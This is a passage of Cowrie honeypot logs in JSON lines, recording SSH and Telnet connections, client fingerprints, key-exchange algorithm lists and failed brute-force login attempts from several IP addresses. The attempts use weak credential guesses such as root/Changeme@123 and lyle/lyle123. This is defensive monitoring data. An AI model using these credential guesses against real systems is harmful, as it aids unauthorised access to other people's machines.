16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:55:08.761039Z","src_ip":"194.113.233.25","session":"5dadf8b81d59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kolobok","message":"login attempt [root/kolobok] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:55:09.046768Z","src_ip":"194.113.233.25","session":"5dadf8b81d59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:55:10.143769Z","src_ip":"194.113.233.25","session":"5dadf8b81d59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.608712673187256,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:55:10.743596Z","src_ip":"192.119.13.58","session":"00b9c9bdf0a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.855029582977295,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:55:10.842022Z","src_ip":"192.119.13.58","session":"cdd775f57653","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50250,"dst_ip":"10.17.0.5","dst_port":23,"session":"81799be34428","protocol":"telnet","message":"New connection: 192.119.13.58:50250 (10.17.0.5:23) [session: 81799be34428]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:55:22.441417Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":38978,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad3172c607e7","protocol":"ssh","message":"New connection: 103.82.132.16:38978 (10.17.0.5:22) [session: ad3172c607e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:55:22.494617Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:55:22.500670Z","src_ip":"103.82.132.16","session":"ad3172c607e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:55:22.760211Z","src_ip":"103.82.132.16","session":"ad3172c607e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789s","message":"login attempt [root/123456789s] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:55:23.542315Z","src_ip":"103.82.132.16","session":"ad3172c607e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:55:24.804784Z","src_ip":"103.82.132.16","session":"ad3172c607e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":58336,"dst_ip":"159.203.135.109","dst_port":22,"session":"04d25d4dff2e","protocol":"ssh","message":"New connection: 89.223.69.22:58336 (159.203.135.109:22) [session: 04d25d4dff2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:55:31.680502Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:55:31.685417Z","src_ip":"89.223.69.22","session":"04d25d4dff2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:55:31.798880Z","src_ip":"89.223.69.22","session":"04d25d4dff2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789qwerty","message":"login attempt [root/123456789qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:55:32.139048Z","src_ip":"89.223.69.22","session":"04d25d4dff2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:55:33.266556Z","src_ip":"89.223.69.22","session":"04d25d4dff2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59622,"dst_ip":"10.17.0.5","dst_port":23,"session":"13cb639816ca","protocol":"telnet","message":"New connection: 192.119.13.58:59622 (10.17.0.5:23) [session: 13cb639816ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:55:39.702805Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44944,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5249deddf4b","protocol":"telnet","message":"New connection: 192.119.13.58:44944 (10.17.0.5:23) [session: b5249deddf4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:55:50.572212Z"}
{"eventid":"cowrie.session.closed","duration":52.030043840408325,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:55:55.113705Z","src_ip":"192.119.13.58","session":"9a04f4f1533d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38070,"dst_ip":"10.17.0.5","dst_port":23,"session":"3036ce3adb06","protocol":"telnet","message":"New connection: 192.119.13.58:38070 (10.17.0.5:23) [session: 3036ce3adb06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:55:55.969335Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":59164,"dst_ip":"10.17.0.5","dst_port":22,"session":"6cebd8500f8a","protocol":"ssh","message":"New connection: 103.183.114.55:59164 (10.17.0.5:22) [session: 6cebd8500f8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:56:08.026748Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:56:08.034585Z","src_ip":"103.183.114.55","session":"6cebd8500f8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:56:08.260779Z","src_ip":"103.183.114.55","session":"6cebd8500f8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!","message":"login attempt [root/!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:56:08.941300Z","src_ip":"103.183.114.55","session":"6cebd8500f8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:56:10.170274Z","src_ip":"103.183.114.55","session":"6cebd8500f8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.62398099899292,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:56:12.065262Z","src_ip":"192.119.13.58","session":"81799be34428","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.27802085876465,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:56:14.980715Z","src_ip":"192.119.13.58","session":"13cb639816ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41632,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c36e260e528","protocol":"telnet","message":"New connection: 192.119.13.58:41632 (10.17.0.5:23) [session: 2c36e260e528]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:56:19.120416Z"}
{"eventid":"cowrie.session.closed","duration":0.005092620849609375,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:56:19.125358Z","src_ip":"192.119.13.58","session":"2c36e260e528","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00199341773987,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:56:25.544626Z","src_ip":"179.26.137.5","session":"403de2081f56","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.42540907859802,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:56:31.997465Z","src_ip":"192.119.13.58","session":"b5249deddf4b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.89153695106506,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:56:34.860774Z","src_ip":"192.119.13.58","session":"3036ce3adb06","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45758,"dst_ip":"10.17.0.5","dst_port":23,"session":"d50431ef06cc","protocol":"telnet","message":"New connection: 192.119.13.58:45758 (10.17.0.5:23) [session: d50431ef06cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:56:35.254554Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":41549,"dst_ip":"159.203.135.109","dst_port":22,"session":"73f7fe6e94e0","protocol":"ssh","message":"New connection: 193.46.255.86:41549 (159.203.135.109:22) [session: 73f7fe6e94e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:57:01.104338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:57:01.109789Z","src_ip":"193.46.255.86","session":"73f7fe6e94e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:57:01.235875Z","src_ip":"193.46.255.86","session":"73f7fe6e94e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pritchard","password":"123456","message":"login attempt [pritchard/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:57:01.804992Z","src_ip":"193.46.255.86","session":"73f7fe6e94e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pritchard","password":"abc123","message":"login attempt [pritchard/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:57:02.933267Z","src_ip":"193.46.255.86","session":"73f7fe6e94e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pritchard","password":"abcd123","message":"login attempt [pritchard/abcd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:57:04.062521Z","src_ip":"193.46.255.86","session":"73f7fe6e94e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pritchard","password":"abcd1234","message":"login attempt [pritchard/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:57:05.196450Z","src_ip":"193.46.255.86","session":"73f7fe6e94e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pritchard","password":"abc1234","message":"login attempt [pritchard/abc1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:57:06.335078Z","src_ip":"193.46.255.86","session":"73f7fe6e94e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:57:07.464261Z","src_ip":"193.46.255.86","session":"73f7fe6e94e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.202.114","src_port":59120,"dst_ip":"159.203.135.109","dst_port":22,"session":"47c14be3c165","protocol":"ssh","message":"New connection: 49.51.202.114:59120 (159.203.135.109:22) [session: 47c14be3c165]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:57:11.937060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:57:11.942376Z","src_ip":"49.51.202.114","session":"47c14be3c165","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:57:12.010832Z","src_ip":"49.51.202.114","session":"47c14be3c165","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Changeme@123","message":"login attempt [root/Changeme@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:57:12.315567Z","src_ip":"49.51.202.114","session":"47c14be3c165","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:57:13.388680Z","src_ip":"49.51.202.114","session":"47c14be3c165","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.96849989891052,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:57:14.222970Z","src_ip":"192.119.13.58","session":"d50431ef06cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37366,"dst_ip":"10.17.0.5","dst_port":23,"session":"888603e770f6","protocol":"telnet","message":"New connection: 192.119.13.58:37366 (10.17.0.5:23) [session: 888603e770f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:57:16.526195Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43558,"dst_ip":"10.17.0.5","dst_port":23,"session":"76c6e58f9ce3","protocol":"telnet","message":"New connection: 192.119.13.58:43558 (10.17.0.5:23) [session: 76c6e58f9ce3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:57:18.137076Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":44793,"dst_ip":"159.203.135.109","dst_port":22,"session":"e1b478f17332","protocol":"ssh","message":"New connection: 213.209.159.56:44793 (159.203.135.109:22) [session: e1b478f17332]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:57:18.825515Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:57:18.830621Z","src_ip":"213.209.159.56","session":"e1b478f17332","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:57:18.912796Z","src_ip":"213.209.159.56","session":"e1b478f17332","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lyle","password":"lyle","message":"login attempt [lyle/lyle] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:57:19.316338Z","src_ip":"213.209.159.56","session":"e1b478f17332","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lyle","password":"lyle1","message":"login attempt [lyle/lyle1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:57:20.401044Z","src_ip":"213.209.159.56","session":"e1b478f17332","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lyle","password":"lyle123","message":"login attempt [lyle/lyle123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T19:57:21.486586Z","src_ip":"213.209.159.56","session":"e1b478f17332","protocol":"ssh"}
